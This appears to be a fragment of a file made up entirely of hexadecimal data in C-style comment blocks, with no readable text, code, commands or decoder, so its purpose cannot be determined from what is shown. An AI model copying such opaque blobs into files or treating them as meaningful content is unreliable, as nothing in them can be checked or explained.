dd84a172dd7e20d1b17053b5a70bfdb4697e9001aed52e27b2aada3c754db6e400dd5c4cd83140eacc9278248ad58c1228a901e3c08fda5da3fcf2b02e6bac6d697cf1399a71a8f53d570703b3c8c380f424b1fad44e0a40b5d8f18005524b253104622a5c55bfb18141e761879a4551d63a45e95855b087a8d8e7c93efdcdec51484d1b3c425640c885623770e6878a13ad64d351a2731b36daa20a3a204acaeb46e3408a8219f59094281f0b8e69aeee6e7476720510d1ce98930eb3b9354720c36393b8d233a73325b156ed568d051be3a9ba10a2eff027a98c78ffbb0519165cf74a459f9e2cddae717fb67b7b57dbe3f42c06bb260c1555884eb0952bab1705698510c612cabfdcd26c173a96d05ab9d8982718359b9d0123ab0c415792144c69bd17dbdf53d75d38a713fbfea5925928af15bc510ece1247387fcf1a2713836bb50f11d7682b0ef5d2fe9feb0af81516c79fb4c23ce2888f7a36875fdc87ed542d7076fa17ab0df0c79fdb09ccbfafb6401c93db418b7bf04a170a6fde3e4831cc990823ee6eedd9410cff927303c9eceaa3d686e1972b6c336cf1c41b93c78ad485c877dec33fe821eeb9916051c9fb2a61500e09865fe2cad792211459f3bbcbbadb772acd060422810b87d28da4e1d4d245d0710eb68685f95ebebdc1dba53dc9120246020fcc42cf366a0d61e04bc41748d95c12c2aada94dcf85dd730eae889aebfaf5740361a64fdf67742ce09da60aa77015eb77b8d90a5c8023c22474e8d7b3d94f71e885ab10fab518cfbe449d110b290e090318e7686f676d7c81499eb947a5c7ebd8fdc0d7c5e1be06ed25b7c5921ba3a02935dcb674daaefe50cc648a3b2d53211a18caae70733b6783adba158e1f61bcca54c2739b93891bf2951b5eeb2a997fbcef9c746704daa8c2b050a4c5869561d407379b2fdc5c4bcd404408b62002f9d3b1489c79ecbdf0a6c2339a848ae2bb06fdf651cb87b30439b7475e47a4cfa7c4e15f311d7b16c51af1053ff11dccf3606ba346794872fc652598dbafb07741f616fdda12ede4d3bc6abf17a0f21a1ec24b5a1d5dbaa85833c9e633a8f028465601861b2daf6bfcd8282e8459fc8bf355f2f91e95e863c9833c44f35dbefe1ed8e40739d15bb827f5c3bba1ed08bea41614f012e9a912441435a1f13d4f56db31b62715e17c2a8033084220ad010629ab3493e59b932600b7d4a932017e8ecb0f4d52bf41d7497c5ffcd6411e3cf53ccbb19e2c34a9c53baff89e9b581b61decf9e73d0d6058350f61027f1a7eccdda5c9b76384fa51774128291a37e04fe4cfeb791fcba5811bd29a84901a6307e0b3a58f11cf5b5e6e781784ca41c6e4b741e683731bfa46e0756b01a33b598eb2a7ea4045688ad825fd356024be28eeb9e99ca4da4c96e13d677251930c5ef7cfd57ccf0c49c69ceea6b23438d93e65a16e3f5f36803c187e3db3ae8cf2d96d6e3a66294105ebc78492b737fd7b4deccedda8cf7a632aaa041166fc3d18382db2115f07d3e4a388fc2308a6e9a2a1f45f7d623ffe6c5b5e0bae2288412ad376ecd94f10a54cc4bdb850281717dc55204962ebbeaa2abd9f7c62f8a3ab61c7569a62519ae269aafb8c8f23cf0a07ca97eee4c8fc2eb744e608b7a30ffb21cc488a6c4d2154359819a957f28acc394fc2de27f97628e2972d7c3580ef29d7adb445f4de12b8df3134d2c6324d2b5444db8881d9697cf82840fc69dc1fa2458acfe9b019f9e4a3f6a0990856037c25aaeacb7525068d6c3a313b5753d2a8b39a692b32f9cac0963f99294394dd07063766c52ef7c93ca75a09d3278d44ddd781ff2a321cb1fc89bbc2678e8210ff836750e64542c634e0212411c23265996fe81ccfc9a30ce581bfedcb17eb0c829cf07efb7313641b9aef9c63cc05d94c9b6a4922107ea07463529c9b5cc951323ef4a834bf01e52978266abd33bcc0b6889955b6252a8bbe4b8ebc518c4a3aced14cb701788cdb4*/
/*7836a22ca9106de24382883714fb5f04264161d1cccec0602741cf2bd2849a397576663808d3d678c4068fd4a179c3051e3e83a04df0b8ad401e666231d53c38ca904c3f0e122d6ad3e56e9cafb9bd41bf2504e483181abd8f69def5fdc9452f46d5f846907e142eb923e1a7e17ce7fb819e2a9663f2699b661f00d0f9b63287f92133249de7e665b74bc75442ae716c0cf8373b4ebe7b7ce84869624d95a44a74882e0a873a1cb4a2097f86e8b1d79207520b41760d6f7be8ec8a2bb15d77acda8dd7ab6c4f99d48a938dd4b0352c53c29e00134adb86bda9beae2e90743e6836e50cc6dc0d13402e16a79442d05668f731a19b2bedb6f1aa17aa4dbaf3f279b2db26fdcc3e70fa506f17056e77e318e63890a8d0c0710a6b8e18d4d5ba6a2f870ca2bd3e045d01755afb252a88e3e96b4131227ef4365e9db9453e0b6cd564e72800a1cb336c5303e9ea188816356a4101821bac7c37a3884511b9d1e594869964ccc5726ca481a792a11e93d373fef230b59bbf4378d90ea7d287239e0e24da1f0201ec0c275cba3a2269a666f809af14a5a963f403b4501b301d01fc6fac9cd5789ca5d450e5ccbb581d4eda929bf705751be73b3b434673d5f8be297d3f2ae62b9ec7c0cff055ad11ae18797a4d208f197f2c31c8fc996deae4166bf3bfcb6831612534d626333dd886cb72c223f29e0f9672e75121add2dacf960ed0c84446be891dc2071f0d3649e44eed4e2e1bb0d0f5f385b23d8374f4b38449512197a1cd944d0784c2dbc530d7d7e1349ba06de06ec0d8eaed582ad60f1a4faba2cd5985f189794f9410003f22d604abbefc73f2ac2add4a6e4111924b333798a9c6c7b7b907253e14bddee97cf3d1013a9ab79d86fce4f6b077f6b82fbb22e3465a0b4b8ce409e51d53137bce327c7aadd65888c45e3f4828fcbdefbf00179a1e17ef993c3c872d643e4c16e0ddda01236adf510955be06cf948115c29c168cbbcc23a2ccca6bc9d78e8b0a96150a7fac1b989d00f35e2105d38c8a6415f71436367fdbe8fd850252c7b0709a773fd085e3ac6b991c279197e1ccd9fb71201fc6e7a9878ac0f260296f006eb48f58e625bfb01eb31d78d2fd60e089a0788fba3521f50892d99398a4ce996c6a56a5700774ecbaaa9c64430527d16cda5f60b4b6e4e05797c12b91a8c77d20713ffa0d41c0e2e7e76715270aa5a0ebcaf8a4d25bd2d17ca9d73005bd6724f16957c47e2d74772d9038257980edbd9f15608541e219bcf6a2fc7a915d06d0da9dfc6d6cd8dbc35864599ac9ebb0064122cdd15b2708b950f26119aa0bc40acf8b5c52ff8ed4f75526765276eb7e452bdc02f8ff31afef3ee6653b8775e887940be9a469f7b41ac2d8d089d390dd1c4c2408940c49652b5f3952cc4019464788f66ee77af6bb4b5efe7cf98768a28a7c6fcdbb5718569f15327d1eea98dc361a0f7a4a0d55274a1aad93b09c3d781e51908aa3c6eb6d5e25d482b931f11dd129d042c8f93118b5af77197f40e55ca26980fb738d6b26f00308e8a8c03265151c5da9898999c25addc9bfb70c4f553b0cdf0cc103262292bfa95daaee06feba4de2ade91e83db6edb5f1218d8419759bbf9cdd166d2401b113b42fb280e2aded0e354958062fca86da7d2aa172d2d0fe0a32ac38ccccb252677cf9a2a89446d3424cea0d446a002bab6ceda3d48f5a388c909e9a3ffc5bdc23ec7311364353911b6f6a4fc18079d79544f083de546e5f6e62e0d15606032694cd5f8eecc0f4e2b698837d4d9bf70f0b1ed429854f0729565751e74c21ae62d484d6991a08ce2534d46b7bd078db540b0b8ea8af1a428d596ad24c5f9e18b757c91c97e87e54dada85e175d992e12b8e1a77422c56f6e66b985643478e4a30a57b709fc753bc093e2f46bf3f6f8ff26fc12e92df6e13cb8a259f0a588854c3b0488d1732d76c622fe9af043d234e905ecda166255653bfc60432a2b9e33ddb19af6a3e627c21dafca63aebc35f0b752fb631e86138a7d51a020dfeb238123a9f99b49aa38ad5f6544a60bd80cd42fb69fdda48f1ad0a2ba6ba2a35c3926b93d669aa8ded583d0aeb22a095a9b4a5dea02d245c1f739b0060af88e4bf012370802c7cc170bc22079b00deefe21cdf62d4b3eeb934b6fceea38b161ffc86338f2f10972cf1d608ceaac85c75a84fae3a86442deb1ffc462696b8633904e41797e2275378d90b34c5c66af4fbf5dca994df652620aaea8120db424838c462b87dfcca2733a9c3963e7676067aa131e7c50195d86aa34ce646e53883914c73be0677ce87c7b43b514e5af1c9da3c7c29676b10c6c9e93f8420505833916ff68bd92f467e2cfa0f37d03f19678fd499ec671cc055f21ef03100e75d910925d35cc13ed0324d19a0990638bd21c35f7ea7346db71e4ed9d15dcc46e1b2e9a9192766ac42027aa5969be6ef900aa32f499c1995065a87cbfef2b194d0625cb7c47d2d7022f1110bbe95afaf73ae73f348d2c8ec99276e6cf3f43be3cc5773a19a2a4460ab52913d585b726c259e2e447743205b728ab62c4d83aa10aa4e599081d9b7984ef5729dc5471fa2edb3322becbf3968e2a45eca9c3e7d1d9e990e871321c7a58a859c47cde1f56a211a556df18b6780cd50b0dcd74add076a16053693630be52b61e976ab759385b8aac50a9f59cdcfb303d1030f5f9e5d2c7ca33a4feb3d7c7e201e3355b6c25d8b3624132bd6f0a7bcbff6e47070962b1a368d4417ac50851fd5bd1f5c88119fcccb3dfc595cad085c50052a7e51c6c2115ab3708bbbee90111c9c4e7d014772ac79dfe2f*/
/*a005d374ee7b4af202a38bd57f5f2f18a5364816c53634caee885d429360f4fe63ec5249bef8372fbaec8989efac4f67425840caba65dac278201c9ebad21840ee0c54ff7d3d6fd522309edd2ead26309e6acd09c68228f0154f9835018efb216cd45804a6bf393c8ca685fc511f2e204a051a4b4c64c3bd8072fe1a93e4204f19f9a4e6237a03114415fc5c4eef58053982ebb12dce509fed1f308dbf433e435c7268f59bc8ddafbc0fa477ce1fc48771086583526f720b271a572a3ce99a4dd5de1f0d37768394f774a923015e91f80435b2394d82f34e1d0a565ac6d149b15b873460636c8c7a1544f46aec319ae21feaa74a97188ef627af0c496b08c609227a1be678f7f4aec49ff9abd8c366f8d0c5a9a1260a8b7edf178f06226a2ec18a904e84fd585127185c2778200ab435195c3372e080a18a1abf8e09e6a761c4f1090352316cd66c5e271b1e6246a74d0218fdf7bc3b14dbd565dd40f3a0751c8536a6236354a7816f65e5da317377c79122dd4a2773995880fd4a95b8737ca276f5a2d084060e4368a06ca20fc4ff910f3fdfc711aa19692be9444bda03c72b298c95a4787da69246a914b31d3e4d11691f7d3c9c39a553fb0957920ae469e396ffc50fe96c66cf74ec80e4c19e73bfd5d300a6bfd9fc679252fcb9009d53231f68e07e79b33bc2248d94a271429089d01ebd04b4341725b30cd344e2cdba684aea6ce9ea2eecb2b50c997f505bce2833677a5a4c866845a9b898cb3edd0fb02e6197bdff32ee50a749e0cf3c231e68a30a9fa9d06946fdbf2cae6abf9509389d5db1fc05a9ae2790b0deb297edd90908c7b9d17374984fcaf695c46acb0a86d9791297cc7056e2ff21a70149105ffd2b6600c5f25c45d1ac6f38d7bd744bcdc2551f4ef9b3832a9790cae3f720a87c08c2ee98aa71916892842757bded6dd9f30ad7ec2e1327b269541cefc5d9328f93bf921da078858eda4a5c6579e6ed338ba2d76b875b8806b386d77ec1d97577598835566323c15d6952f9a9503e4252f6f1d20af6b99ec7745b03e8246ae5633fca3ae16d32ae1867132f5b59de5065807d7f551e26b9d92cc63153ece58965496e036e535839416ecb37ec3656065232fe7b275138288d6f37df76de1d0f8eedfd46b2dbfa2666d919768c06d1e017e7969b597bc458eacd89bb3397b494028cbd13e2296da606d6d8661226c32f5bf85c3b762d67bebe7780abf9778cd31b8ae3e3acacab3aabc25cb6d1d701b987b8bb3f92bce4a42fae56c75a856470e0cebb956e6d2942377110602c25a067918fb16b137e4e4dfb977312bf210c74fe0b7179e3c034b36be4effbe0585624dbe5f5ea4e0b0cfb7d788af231b05dcc8bcbf07c4446262e26e11f8e1e1b4f68314ecce89c6541ce65ef88ec05b4eed6d0d7e0187f972492f921dcc6517296641bcd8a90bbb805d9d125a8d54a5964e95c41b0a4fd001d7de43c413ee8941c4c73bf2e99415bea07bf84610ed7195e0a9391a3e3fe00b33220af556711d7c4969692915b0d8cde9f6a8632eb946a769385591382b202a91f645c70d856a26fe8ce292c91f53c1255a048569a210e1c5f22d83e163fcbe13e105b6274d901ef5c8ae5eaea96150f97d8af616e45f7fefd593a5d35c98657f6bac7b9438c87e473e8513cfa5b77b000562558a0c56e9c0ff6227583c47c9809fc435ba80d6d6376e327f4ad4ea3d583a6921eed2f6787bb1c039419031cd191f3e01b3eaa987cd3e926d0cfa54aaf42b2f93f6b03d3ce12777e5c313104c2644ccba12dac74a188755fa0c9d9fabf7ca49bd9425f0bf8e6bc200cb81c9ff1c28e3ba614de257a2a162c162e46ad80d893768e2515471a0852dedc90efbbb333086ac4f8a1015ba65a84ceeb3bdb15c59a1df8dfba5ae9fab57ce26bac1e4244c3fac39bde431ce1edc15634992e8bb1f8c49a445d1d2c93739ec6b576bb85b92031eea579f9d30684b71e54d2a6ab3123aa5d8fe9f91dc746313e81e8c6c06611514b3b754dea3aa0feca162ed54f0669533b8e74f59a2531e13e07348ca8cde324c9ec69ef27b1de99d4f8daceb77d7eeebfa130243c68852ef3a33688ffb5c78494e218f0c7bc57f0585686775d48456b83a9873c4447720acbf07a385a27cf45d788f6b765bd884a7e216ef13d7185ad8e4158f55ffb5ee338afdf9c815afd91f68ed405eff91692b8f96266ccb77beff6650e3d1ff346fa7f98bd82041de6d8b4ef74c430a7f1630ae47dba78e4b44df77d2a77d133da67d8878b2a40bb278785e4108722026df12c6a09c0af108d082111ea09877dfffec2eec608eb8594fa9352302c31620e2ba591f5efa0464cea49c5e0813818de28e9759c95e360c9f6e940b1905f466510fd222494e98d3d5994fc9646a3b2435666c41b8fa6e3bd33bfc60c80dc02b7cedbc68f34fea608d94b84686ca3a98db2e68202444e749a53dd4c03d5c017a5b8a3335ca2af02430765b4e54698f4c45eb3941bb484edaa09e384527b806e9e5fd6ab4f914cf888515f2ec9f8f37624db2c0b2ea4fcf1b84abbc54b1e22c94f9e39e0fd4c82ba936f21ca870fab6f866819475eb961447253627fcf7fed75729916068ee1484df8f877a2949aabce4f6aa3ad4601d279038565b7dfd7ca8a7b73b6845726d08bec1d096bdd421b67a7d20d42b5438ed985f433446e90fa059800c3fd28691542bbb933778af5abc5fd850058a230914a0798cf7f88ce88c4850f69e73bdba5545ce405d9028fe7f0d8bb40656f42f06e326fda9fd783f1ff0f5722f464a34a813b0d04af812d14567f*/
/*883c976d061df2a5d37a3d53762aa4b6e7507f2651d118ba64b3f008485333ed4910a04dd5032436384ef3a4e25e959c08b0ce4f141d4547d93062daca58573a065955bc44207545812db912bb72a911206fb57bd08310ba86fc5577fa897a2dfd165ccd6978991d711f5935d8522b3b38e719a6725b429a40562ff43048ce0d736d19f082d4ef8ee26e66752254dc8e1a0e7c092c11512b58587b21a45c2b73f6e1300e05b06200f69c2d7a56edf8eba7148d6693b9c9670ceb26cb43e7cb2c0e6dc65d40e5e69179e0c91246841022cfa2ee52a5aef919103cacbba050405134d6820f95659d10d41c3099c4a27803c9d1c467ea7533c30c2b5610f90b44d33e7ff45f1791b99a7fe4d9ffb0a89a3875e7d5662c7658d330d84e043da2eaaf2c9682a0b34bf10199bf6c34f1dc7293ea4c98d3dca5eaf687f3290bee13b66df716568f24263b0e289e824de0d413f82c1b15dd24e493dcc2024df2462584d1f2bfccf24a0b03f9845b1a47437cd55b7233f8c24f353b292817809efce5c7c4490b78947a0bd4f0ffe0e3e3b2d2304932592d5abf2691310d9ca0735c35f1c942b9d62d65c22809ea1389e0fe6f78df820b03658470bb793d3c7f19c445989c5a9000eecd4ca6971e532273a47f6e4c7e14626b02347d3ff2ec2ee3e1e3860d1e91bf76571054647d43101e685ea6e793b8e0baddeb8aac2c6af63fd8465b397e24f8c34b1104e510c0d0e5a881d4c3e0d7b325c921916dd9a9f16aa34233f6b8e804b37fce001d4df2318fa684700d94d2e50ac1715afd93c8dc6e9e09f2531dae5a68de550470fc4524f5241f2929a087514aa18a7eceece9421f795b7f9eef3f05d3a3e1d8afb84f623597f3ba1c7a9a474d416a4f31f5c31d31e68583f207c82e990ace2124935216c5028a73234268652da3ff0a5663acfe68e8ad1333620e816a66b956e942bc514bfbf55396910e0d910044733873f9f701739ff547c59ab389569fc2aa977a050515d3effb4f4a7b2478c85c0ba0920a1be33b385ff31b29e54f0a5829184c4e5d1221f81cc257ff04fbf5d247bc95d53763fbbb5f7a1901df44437baf5deb308507f55a45205dc19ffbf40a8cd0207eeaad590a6be34ba2e1410fd9728c52541c9c1abc353cd08f19582a4b99ef7915b71190ee559b065d3698c136fa50149db5b19e2f825fe001a375113ccc09fcdfb297b2f03a5206a38e83fd8e07d17a9ce00e4c4e5f4e342f5622c0ab604d8f28734488a02350e37d876e7bcbb875d90a742df7def8ae2a2363da26940b6d796bffb7158c8d5e1563bcf90b87f56a34e93ca1621e31fa69ad2190fc7a77475dbace8e3f3208e2402231b9c83057192916f8549febb5efe585e8d9e137c4e9d9b56fe5930d8ea8515e9571f5437b434882020639cf39543d889f056e079f0c490db61324b75131f75aabba3ad96ca46e4b2a9a2123948c18e391aa3f3d7c7cda2b3d3373318a4bc04077d0be61665719e1cb69655b75997d58d340ae242564ad205eb8e134e33bd44b98f7e681996839c73f7ef12ad0bf2a5feb4459726a71b9f0b441ddc4deb2ff142666c87100f489c50dc3a30e504daf961f4ac60ccfbc6db9e774e37d76a8aac948da91efa95167cc9e93c65ae5395b6e8382c3c98ff9db6206e4e6b156e4371baf4f028a5fefcf7cf4561feb8facd622d71c54db40726fbc37193e459b7a57124c26d9a3f92b0b637ed5c29c81cc2791cee1ddefb377a4e730102ecca2ac33273685815209ee63921d7a64b83a19dd647bc1d31c3b7475dd24126a70263ec79460ff6b473842b0f149f9de1a151b69b141542e16960fb50c49ab19c59f35af0c64ea63dde96548a4223eef3355561c32d3100ced5febfb7d19a4dc1442979cda274896ad18b918fc107184e9646d18fc2ad5a8ad9643e85077821fb3c24c6838208f3e45cd9a139d25287b542cdaf3e15454c4f72c860f256e6c745bb6441f2fc23ad48aa7b075e95926fecb654b71e0f6b2afd10bb5f1bae7b9899376c6d1acb4c84241793f4ef347fea728aa15d9cdaa7780c8d5cb179f6ebb8741fb4ec44724cc6d217b0f4d90a889b06e565ec95ba7360b10e0a564f027784e876601a21e2e3c4e15df6af0a2fbfccfc11367d82e968a24985c5133549b9b09c430bb3bd70f49e623aa9947a5b2ab26d8681e88a9d59f8a0a68eb162fad5fe8294d7dfbc7662da0faaf9d1fc9de838b83b35887d09d3de87bcac6b207f5a05e1876833db028b5d027b4ba438c55332a1f05d4a7e5bbd44e408f17ef09cb398eb05a6d1de6a3f355c8f3bb7a7fade4fd93dd2e843f28a9abd660a70b86c508271f08c99c75f6f8cfec99787f48a74a4c2529df1152f9f371a1fcb3cad0ab9648ccfd8f5d52d90be2794d720175e1943d4222a1295baea33f4f217e723b2e0e73fae9540c87ece043677f305f9766000f728f38c9d1e6c4ca8a445929cb944f21d30a47c1a3466abc3ed92edd18e37b7e040ec2c8e886a0813b255d12532cd8bfb2e7c55f04ed9dc4997f5540581216cdf07781e3d1c8c2697ac7d47fa9a190dfc9974579c6e661c94a0b0a046cebfb73321692837f9caa2da9a1b4d9b9253737f24b52b16dbc32f70ba037facf9daf95cef9184c5a65592a59cccf94ed724a5ec4beb2d1860f8b0f0a0e491d14774af2795326eb5fb82e0f6a0def13de1df50d79f350bb1446a28f033d74866e79d1f4936ce8d75c61bd0c1dc302c6f14ca7a79058cb9c6de8fb7fadf3809f846aa159441b71076518443bad95d2ee362e98a1f39a4a72483c3d3785ca733dc2d4e1a7b79c*/
/*32af32229014189c675378830771f0b58553117dcf61d2bf767285675c933b928c7ec5ea63c35ba792c3faf850205dbe0fe7d548bd945c08d58529ef75363d63bea9428e9fcc9ff09055458ecec1a51afdbc337c168d31ad5c453b2e5a45ba2a83772666768b380ac077cc6bfb5551796ebccf422aa96321d808fec07c4dc03d867873dcdda0c632dc46546f696f99a116d8036828c49d88b51ea586b7bfc51cb36c6131ef3c96e5ce24cc889c7bada2f183774a5a51a6f397ef1ecaa99d008fca5d80f54b09883766490c6e541f92b6e6d8d93586d633c700b67c680589e09000d16e954d3a1744e9f6c39b3bcc5f8578d6baa83551bf55754242e94bdd3176cf6979d237172799fe0de1dd7e138a6e4b0b8407a2169cd3b59e66eb628da314218fc7e447e72ed1ddc46881fcfb61bbe9403e57a19be56c93f013f32ed4e1cec544de0ef6412552110925a6175da078045191ca6e913556cadbd6ad84a780deab368d6479f30bf2a6044ddbbe0911fa09d9d6b44026d418776720edc2984e3b7943c8b496506ef78737e786928e714b7c0b1a1d09d5b799cb23f80cdce34203d9735d0abb950e68e5be035c247603ee6207d25bd680ce220b8255353315dd8dcedea52b0342a99067e9f7ea13986ddb4303da8daed856bf1bb97872afa99633a98d3b9f19716a5228fb28871c3272ceddf612a8cb8169b1546cd642b2e13c7a5e040766957a975a7e74afdc38aefb51c1bc066eb433c9b751d7238992b1f50f275db63bbb79397ecef31b30ebaefe77c59e3fb7681e073f3a4949f63049b6ed343701367ab21b51089d31704853e8edac8b8416acb2b84d84f0e957ea7cb977d1023c5f840ccfdc706235fb23d0691e5c7e80ffe9cd38e551add9fcf5ea90441e0e1dac7c4c883f25dd203312bd2558d4ac53e7605b19347fbcee6aa5cd1d940909ae67e71380dea7f63fe3f07a32e27ffa7b1fd8b046c8650c21a153e4e3e47406cf54d653313520f11d0356932afa719011e080d837fd5b9edcb935b86efe85ed31b687b41c11f8c0b827b6667ddfc94c6e29c43e760bb793fce9ce4f099631388536fc9fccd47c4148e572cea5586987b3348cf679ada755691ea8a9aabfd47134bc1bcbf89f0fbc419170ac3bec184e65c169c0afe5291a46746243c457efcd71c790223aafc8ba3020fbb8ecf4cfd99a43ae873d909f1a9cb27595b8a1d0565ae792939d327c2e5757044bd2e40e1c89c75de7e97b99b975d20fb9107d5c8c13dd9ee0a80c71a1b899df046877536af8dd866997f2f0500d78fc7a4351fbe7237d49f8ee196efeda907587611ea50c465bc08228ba939064b6f43016685c3edb0da9527e9eb029eb57e8a18be6c88d3d8af2a324a5af5b11cd31e2c94e55773758796c53b388d8660b66c91368f640518142db83f2f7ddcba21b9b1beb60f4d77b36cabd0da8d040651a94045f69e93b304fc6c896ffb9b1f2cea5c524ec194160f8fa9a9b1814a7cf2259624b13fdbfe7476d93c23824de6e5bfedb840b41853432dd4064360bbcfcb40540fca4aec7c4bdba37572bf6b515ab9e3389f98db03026e45895c4b1d6b606eb1757b356939e17b2e678be48d4f882be23f66cbc18ad42c2a6b8e1081509a0086898266636c2a9bd4bc3e80f2fdfd914e76937ac4bf27c57ccca24dc7de87a0db0bae658e19f13b5a21bed6fee3715ca690f4b0820ac06f51be5c6618f0d45f9bd9ba65129894f73234247dfa04e3a2a37d53c7a68ac51fc8f52347da41c59d4e65078f2d1fa9ff6d80940fb9a5adbe33b4acf2b42ca60cbbf4d1a877e80fd4b4833fdba2bc1e1983d4b24907cfd7243218529f9b0b9e65321432ffc158f0efab838878ede6bc6ba89f7bd28188517bad915c557a2c0f892683e9486dfcd27fdd86dcc866ef5709b20986bf9739e108fe9e166d836bbf43d44f8239775fed1d4922fd0a30348fc42ea51ac88a74c946a3b2da205af332a04d555b12c88f8a8043ee1a646d0dedac1e3d5dfce61597a063957702b7c32d025214ec785fdcb3b1fabbf7761e0ef806bb6a21c1e42d67207bac9cea6995ea923ce95db7af48c41b04df0693c2e5b2cc6cab821126929be831409004996311d0b1f1baa2a4ba05ac831cb6f241ccb483456cd09e3a34cde801f98f7e00a01b2ea9b8ebcfade4eb0ff8a7453ea0950fdae68fa1e58fba4e9ccd1fee8ca3621cd884905510215967836119bee12a90656cb628a60501f4141d91c9ed918f031c51efeaf3ca2befdab9be02aa9c9b24d9d5cf9480ff1002bb625950215ce2417a05c1571059c91a9f97c88c018a9893190d322b3c9780a42882c837b17150902f0c346a61ce65aef97e32b52650fe656c8a01fb9555ef307c2dd95fd22fa982abcf44211d5e48823bfe88f9e9f2a10bde075a865dce91d8cab1797976992139aeeff10c981fc3be2539b853fd61e2e45d0f9ec9b54b0939ad827421a421499c21f12e6fc0f71e3054ddd6be4454b1886068ede98baf8856505c090185dd5b76f8051846032be32e88d8119c7997659bf8d90b38d09bb52d4f46defcc0148a7cdeceaf81fd7b32d1ae49fcab7d679225e678e8c6c6f5b9fad8fd2842f46c67c77fa0e34033983e0f6c65db9382306ac8e44107d545d682121ad6e01b7fd6c9620b507cc6cfbf56fa858d367e73ced763a51ce88fb8061285e0d0591b9c014101302848caa25e957c3d827fc439aaf728d35a9478fd8be8218aa370d13d1f1b0b5f3a21b0c80eed1dd84130ee95ccf9547a5f9e3d0c64ea67bce7206d52941384949bfc6d9f2283afb16b4b4dd*/
/*febe9641a325a654b3ce7e1a28e5d1c78e457f97c69b2f160e512eab911bc1c9353db291aa7f88adc141b291d6d82f313e32dd7aeb8f924a0edc10320a4714267b4100dd07697bee35ef90f62c271b96e6db60e9031d98a896261cf5d109f34b33649114615bc61639aebfd4387e21edd40e45294f9fc798cc15ca9b7c4b91e29f2005e4e9c2d8a229fa8b1a3c4fcb1e856aa183300c820e0275eb01199bf3b3d5cc0855c0404d4448d96a62598678bbf407abae29424609275bbf663d84be1c5d9a22ed50daa250d321457c595911f4a2b59cb7f9e53c0bf327dabd62c4918df6f450d57ea9a4bccc6c51b3cfbe1975fc17f67ec24481697a90947ad0476475a913e11454de5e9d66f424a87bf8eea0a5ba7a2bce8a5507d4a9acf9f5018a08ffb68fc4cbbba076749ab215e4f77b1613cb804e8c0b5feeb6a1690f7ee7c290c989d3393885984a956bf17c018436941710956413ca8458128758a243609507cea52c2e62574881b5e58690a22b129aee64b5a360e2b72711e3ba8e9b2bdd983d719c2cf1fc43e90fc8963dabc01b567ed85a935406e50c82dee5bcbb5631af3b93f4774cdafc6356d7e897ed99ef4fb6ed2236730791f121ebbbbc20b573184747a30cb3754a4a3f9d8dba4ca8ebc7ca05eb612a6e938b22b98b24157d00cf45675dfd7c0f3691c38f4a0449d421ceff9cedcd87a66c45fb3aceee806c1a56709d928f30b80033c6eae024ff9dd55e67073ff76687b7dc4b96ce2106f47570e5e7e7d78f76ad87313e414eea8c646e84ea8160dc22b0e19bb7eed66943a2676bd377943a1bafc4ab29030a3c477015485c7a4f2773dc7f8c487c100f8213c791f8125303763d52b1fca8e1dddb56e0e5c9e235592fb8e47c7ae9743092f38e7c5d14ddfb2ccf20e0ef7513696c472f82b69fabc3d3bae1ed3879c74824fface0d104acd03651a45d4e3169ce10deab0ab4c211254b0da08ef59c9247c494d3ef6a6cbd54d10fa5a00a21bf430677add8d07a3470dfd5eccdf08ced8e4e62e93c087bd9f10e60748175067f92ab5dc074ef8bd103262600aeb7f692a5f54a57a3616fa0a8c7a8ae9d40fa9198f0c8d423ccf115f9e1d8742f1e15d278cd55b6c8c5f7475119d1bef58a6a74332a2e2cdea24a32b570cf29d601e5e6dd8bcc0398d6bbfe0fd285d9b8f7ec4cd8ac6d2f3cd4bb037e92f74182a957963db753e5aa791aa98a54d244bfca40eb23c3ee9c40cb61bca87f3f12b2edc3ebd33558edcc4f3c22c0194f576e0dfcbd097a0558eeaa548839b4dab1f51fa572db9f2a22857cd6a3459e7cdd1f9653040b41398f34018184bde576e85a11d443b7e5585e15125ceab0e29e774e9b90605b49cb66900c230c110f699db7a996c4c5735ff23b8bad989b01d9f3d2a3047303ad03ef4dffe1a5cf2313482dad5d92034aaa2199c0f801bd91d31006efee6bb23eda27c21c6935bd3e7495934cc960b49196765ee5f39a514c0f20efa375ed41a9d784a9f2b4728fff019e31ef04d5d1fd16569a59b9b7a752bd023f099015c4a9eb9f609d72a2b1e33222202f5bf28e9dcacb6e0539106362b9a2aa139acec4d1e44896f9f38a84256772e809a2e6797f3295a64a072be622c7cdbb0d3a3cc1e03d8915d12926048c4a178b7afd645d416c01f0ad06a37ac751e2f0c5db3dc1b048f7a9f3af0217fde1d1404b1827f594edc362e67b07e00f154ef85652e333fdbb46f7a4a5af1da3147e9b5c9e60e2afb3bdebaeed6b49270864bd2d6ed39f2982e306fd2903dc15dc9e74c8521c1bc8695d78ff14927a4f4517bd51906031666cca337c5c3ec8292d7f256cd98fdb35747dbabe690582f266d17376034eaabf5857ddf5ac600ec24c066af7c1a057af9aebbc20cb63f542f33995335482cf3547da07b6b44611ae7c8616fced6824b48ece8097202a20b95fedf0fe3f30bdef628dafdf3fcd37847de62c216eaa6be146a8e2af35d02b4e0b57dfa5dc51fca9dd879e1ed79c5ae4fa8bd38c13af29c5095c8b396cef957eb814b68232932c91e0a4fc4152596e2b1c1d446f8f51a41bef780de59d5d569ada5f11f09b891d242af4daf257a79cb652b351d487689575a5b67d4d3bd763c97294d4bd85457c4be011ed2abe5d92d4bf26b846a33f6b3a8d82a3122703fd5d876a7f2cf0e464ed704aa6c6714fc11b889eda3514698c967b3ed9c527c01df1b03a938f8ffef2446ca0aedff175edbc52af9eb20fea1c3fadddd0222be2d27df1746bf3ddd392aaaebdda7165df6a2f3df178f775487b0939598aa85af6a388285009ff3dcb82ce62e97ff0e2cf50233d92814d330c62576901d39c2204d15e18730ae8342138028df20be5bdc58fec4aaa8444cd1e65ea3579b17e85ffba9ce89255538885b8c705531cc0ed695c0c443c1cb585a4b90a4fb0555fa07cc10f6afa72f7e040f94368957c9013dd831b37ffe3a7f3a8f2bf22204fb82fd050ef4cc89cab65390d2c9f3538798a1a506c7d9b15dd0bb7a42fa4d426551ec23228b9282ab0924d752c0af67da482ad5f3392d1259f9a6bdbb848aa795a15562d7c88145d48f8c2278bb18dea9812635e6d615617a32fd788cce8c5fd795c962746ae64a02b5a897d2ef4af78b460014c9455997d3ebd8cfb0dcaab947084e80375f31c145ffc249ec682882db989eb92d378877ee52959ae40acb2a71a92d537e19feababa6652bbd01352ac1c3b9e3e54ad0fc20c84ac5f9d424b73cb86229f85342291d7caf57ddbf550a84d9bb330eee98e997e9975c6c653549846c8af2406a9f208255d56e4ec2201*/
